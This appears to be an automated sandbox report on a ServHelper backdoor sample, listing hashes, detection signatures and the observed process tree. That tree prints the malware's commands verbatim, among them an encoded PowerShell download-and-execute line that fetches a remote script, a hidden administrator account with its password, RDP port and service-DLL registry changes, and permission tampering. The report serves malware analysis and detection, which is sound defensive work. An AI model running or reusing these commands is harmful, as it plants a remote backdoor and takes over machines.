Analysis

  • max time kernel
    124s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    09-08-2021 04:21

General

  • Target

    86178014e457120d9dc6f6e27453338c.exe

  • Size

    6.0MB

  • MD5

    86178014e457120d9dc6f6e27453338c

  • SHA1

    16ab38c0e9c4516532f9d111523e948a6311bfc0

  • SHA256

    d541b9ff1fd68818abd9d0f70966e97beaab82dd6bb32d66566fbd6d657fbfd8

  • SHA512

    746417e600a1a0cb157f6a74422140b1ed75767a7f47f208c46feadac1dcf845637ce986a11cd7ed3f07e9782ff736b8da448057b0eb65cc50df30baa500bf75

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe
    "C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jwos05d0\jwos05d0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FB1.tmp" "c:\Users\Admin\AppData\Local\Temp\jwos05d0\CSC22ABBD0B181D470C8ADE18864EE5B39D.TMP"
          4⤵
            PID:1348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1208
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1220
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2024
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1716
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:924
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:788
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:932
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1980
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:544
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1360
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:284
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1276
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1424
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:892
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1612
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1192
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1716
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1848
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1752
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1844
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:932
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1540
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:2272
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:2284
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1220
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:2024
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:824
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc x2ZZlQ39 /add
                                  1⤵
                                    PID:1716
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc x2ZZlQ39 /add
                                      2⤵
                                        PID:1984
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39 /add
                                          3⤵
                                            PID:892
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:968
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1212
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:824
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:956
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:892
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1192
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1336
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1308
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1612
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc x2ZZlQ39
                                                          1⤵
                                                            PID:1716
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc x2ZZlQ39
                                                              2⤵
                                                                PID:788
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc x2ZZlQ39
                                                                  3⤵
                                                                    PID:1984
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1308
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1728
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1192
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:892
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1212
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1424
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:956

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/924-101-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-120-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-121-0x000000001BAC0000-0x000000001BAC1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-102-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-95-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/924-107-0x000000001B980000-0x000000001B981000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-94-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/924-97-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/924-99-0x00000000027E0000-0x00000000027E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-238-0x00000000194BA000-0x00000000194D9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/956-207-0x00000000194B4000-0x00000000194B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-206-0x00000000194B0000-0x00000000194B2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1084-65-0x00000000410C7000-0x00000000410C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1084-60-0x0000000041760000-0x0000000041B80000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1084-62-0x00000000410C2000-0x00000000410C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1084-64-0x00000000410C6000-0x00000000410C7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1084-63-0x00000000410C4000-0x00000000410C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1208-156-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1208-157-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1308-134-0x000000001A810000-0x000000001A812000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1308-135-0x000000001A814000-0x000000001A816000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1308-133-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1308-132-0x000000001B500000-0x000000001B501000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1308-130-0x000000001B600000-0x000000001B601000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1308-128-0x000000001A760000-0x000000001A761000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-72-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1472-71-0x0000000002780000-0x0000000002781000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-86-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-85-0x000000001B410000-0x000000001B411000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-96-0x000000001AAEA000-0x000000001AB09000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1472-73-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1472-87-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-70-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-83-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-69-0x000000001AB60000-0x000000001AB61000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-160-0x000000001C250000-0x000000001C251000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-68-0x0000000002030000-0x0000000002031000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-75-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1472-67-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

                                                                        Filesize

                                                                        8KB